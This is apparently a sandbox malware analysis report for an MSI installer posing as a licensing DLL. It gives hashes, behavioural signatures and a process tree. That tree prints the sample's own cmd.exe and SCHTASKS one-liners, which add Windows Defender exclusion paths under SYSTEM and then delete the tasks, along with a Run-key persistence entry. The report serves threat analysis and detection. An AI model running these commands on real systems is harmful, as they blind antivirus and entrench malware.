Analysis
- max time kernel
150s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
28/07/2026, 16:50
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Install_28n004.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
Install_28n004.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
27 signatures
150 seconds
General
- Target Install_28n004.msi
- Size 7.7MB
- Sample260728-vb858aac93
- SHA256 96a7d0f51c69d3c392f668be28df4569a5a6f17ce906f18450487c22b2f9e4a0
- MD5 0588019453b45d231c034107937c19af
- SHA1 82c6fef26c7c512a59be0c52816757805d8be3cc
- SHA512 09fcb583ba790a473f4c62a6fce4fb5510ebffe1a6c7f45e9430b95beadec90f0ce2580dcb5fde8874d758517ccd6de93252bf512d8660151f1deb259e526b77
- SSDEEP 196608:xGbukNfmtyxzmdV+HCNIL2ghIpo7h4kVg2prApXJTgU:xGSJty8TaCyLA+Ckyn
- TLSH T1C9863399349A3671C297D7B02953257E7D6E3FC4BE764C1AB79AB6102C32338073136A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\XmkSaD = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation xO3S34.exe - Executes dropped EXE 1 IoCs
pid Process 1752 xO3S34.exe - Loads dropped DLL 2 IoCs
pid Process 4696 MsiExec.exe 1752 xO3S34.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\XmkSaD\\xO3S34.exe\"" xO3S34.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 22 4696 MsiExec.exe 24 4696 MsiExec.exe 26 4696 MsiExec.exe 35 4696 MsiExec.exe 41 4696 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 560 cmd.exe 6036 cmd.exe 4524 cmd.exe 1876 cmd.exe 388 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b xO3S34.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI8567.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI8605.tmp msiexec.exe File created C:\Windows\Installer\e588421.msi msiexec.exe File created C:\Windows\Installer\e58841f.msi msiexec.exe File opened for modification C:\Windows\Installer\e58841f.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 5808 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4380 cmd.exe 3516 cmd.exe 3320 cmd.exe 4136 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000041efd9123c6b0a670000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000041efd9120000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090041efd912000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a41efd912000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d41efd912000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "8B50C807D95C9EA48BAEBFA1A0DED392" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n004.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5300 schtasks.exe 632 schtasks.exe 2588 schtasks.exe 5876 schtasks.exe 4048 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 6048 msiexec.exe 6048 msiexec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 4696 MsiExec.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe 1752 xO3S34.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 5808 msiexec.exe Token: SeIncreaseQuotaPrivilege 5808 msiexec.exe Token: SeSecurityPrivilege 6048 msiexec.exe Token: SeCreateTokenPrivilege 5808 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5808 msiexec.exe Token: SeLockMemoryPrivilege 5808 msiexec.exe Token: SeIncreaseQuotaPrivilege 5808 msiexec.exe Token: SeMachineAccountPrivilege 5808 msiexec.exe Token: SeTcbPrivilege 5808 msiexec.exe Token: SeSecurityPrivilege 5808 msiexec.exe Token: SeTakeOwnershipPrivilege 5808 msiexec.exe Token: SeLoadDriverPrivilege 5808 msiexec.exe Token: SeSystemProfilePrivilege 5808 msiexec.exe Token: SeSystemtimePrivilege 5808 msiexec.exe Token: SeProfSingleProcessPrivilege 5808 msiexec.exe Token: SeIncBasePriorityPrivilege 5808 msiexec.exe Token: SeCreatePagefilePrivilege 5808 msiexec.exe Token: SeCreatePermanentPrivilege 5808 msiexec.exe Token: SeBackupPrivilege 5808 msiexec.exe Token: SeRestorePrivilege 5808 msiexec.exe Token: SeShutdownPrivilege 5808 msiexec.exe Token: SeDebugPrivilege 5808 msiexec.exe Token: SeAuditPrivilege 5808 msiexec.exe Token: SeSystemEnvironmentPrivilege 5808 msiexec.exe Token: SeChangeNotifyPrivilege 5808 msiexec.exe Token: SeRemoteShutdownPrivilege 5808 msiexec.exe Token: SeUndockPrivilege 5808 msiexec.exe Token: SeSyncAgentPrivilege 5808 msiexec.exe Token: SeEnableDelegationPrivilege 5808 msiexec.exe Token: SeManageVolumePrivilege 5808 msiexec.exe Token: SeImpersonatePrivilege 5808 msiexec.exe Token: SeCreateGlobalPrivilege 5808 msiexec.exe Token: SeBackupPrivilege 2840 vssvc.exe Token: SeRestorePrivilege 2840 vssvc.exe Token: SeAuditPrivilege 2840 vssvc.exe Token: SeBackupPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeBackupPrivilege 6112 srtasks.exe Token: SeRestorePrivilege 6112 srtasks.exe Token: SeSecurityPrivilege 6112 srtasks.exe Token: SeTakeOwnershipPrivilege 6112 srtasks.exe Token: SeBackupPrivilege 6112 srtasks.exe Token: SeRestorePrivilege 6112 srtasks.exe Token: SeSecurityPrivilege 6112 srtasks.exe Token: SeTakeOwnershipPrivilege 6112 srtasks.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe Token: SeTakeOwnershipPrivilege 6048 msiexec.exe Token: SeRestorePrivilege 6048 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 5808 msiexec.exe 5808 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 6048 wrote to memory of 6112 6048 msiexec.exe 91 PID 6048 wrote to memory of 4696 6048 msiexec.exe 93 PID 1752 wrote to memory of 560 1752 xO3S34.exe 109 PID 560 wrote to memory of 4048 560 cmd.exe 111 PID 560 wrote to memory of 4496 560 cmd.exe 112 PID 560 wrote to memory of 5404 560 cmd.exe 116 PID 4380 wrote to memory of 404 4380 cmd.exe 119 PID 1752 wrote to memory of 6036 1752 xO3S34.exe 120 PID 6036 wrote to memory of 5300 6036 cmd.exe 123 PID 6036 wrote to memory of 2716 6036 cmd.exe 124 PID 1752 wrote to memory of 4524 1752 xO3S34.exe 126 PID 4524 wrote to memory of 632 4524 cmd.exe 130 PID 6036 wrote to memory of 6004 6036 cmd.exe 129 PID 4524 wrote to memory of 5828 4524 cmd.exe 131 PID 4524 wrote to memory of 1608 4524 cmd.exe 132 PID 3516 wrote to memory of 5048 3516 cmd.exe 133 PID 1752 wrote to memory of 1876 1752 xO3S34.exe 134 PID 1876 wrote to memory of 2588 1876 cmd.exe 136 PID 1876 wrote to memory of 3124 1876 cmd.exe 137 PID 1876 wrote to memory of 644 1876 cmd.exe 139 PID 3320 wrote to memory of 3404 3320 cmd.exe 141 PID 1752 wrote to memory of 388 1752 xO3S34.exe 142 PID 388 wrote to memory of 5876 388 cmd.exe 144 PID 388 wrote to memory of 2060 388 cmd.exe 145 PID 388 wrote to memory of 1668 388 cmd.exe 148 PID 4136 wrote to memory of 4292 4136 cmd.exe 149 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n004.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5808
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6048 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:6112
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 431CA6403D4F59AC0ACDD52EA570FBD7 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4696
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2840
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C:\Users\Public\XmkSaD\xO3S34.exeC:\Users\Public\XmkSaD\xO3S34.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XmkSaD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XmkSaD\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4048
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4496
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5404
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5300
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2716
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:6004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:632
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5828
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2588
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3124
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5876
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2060
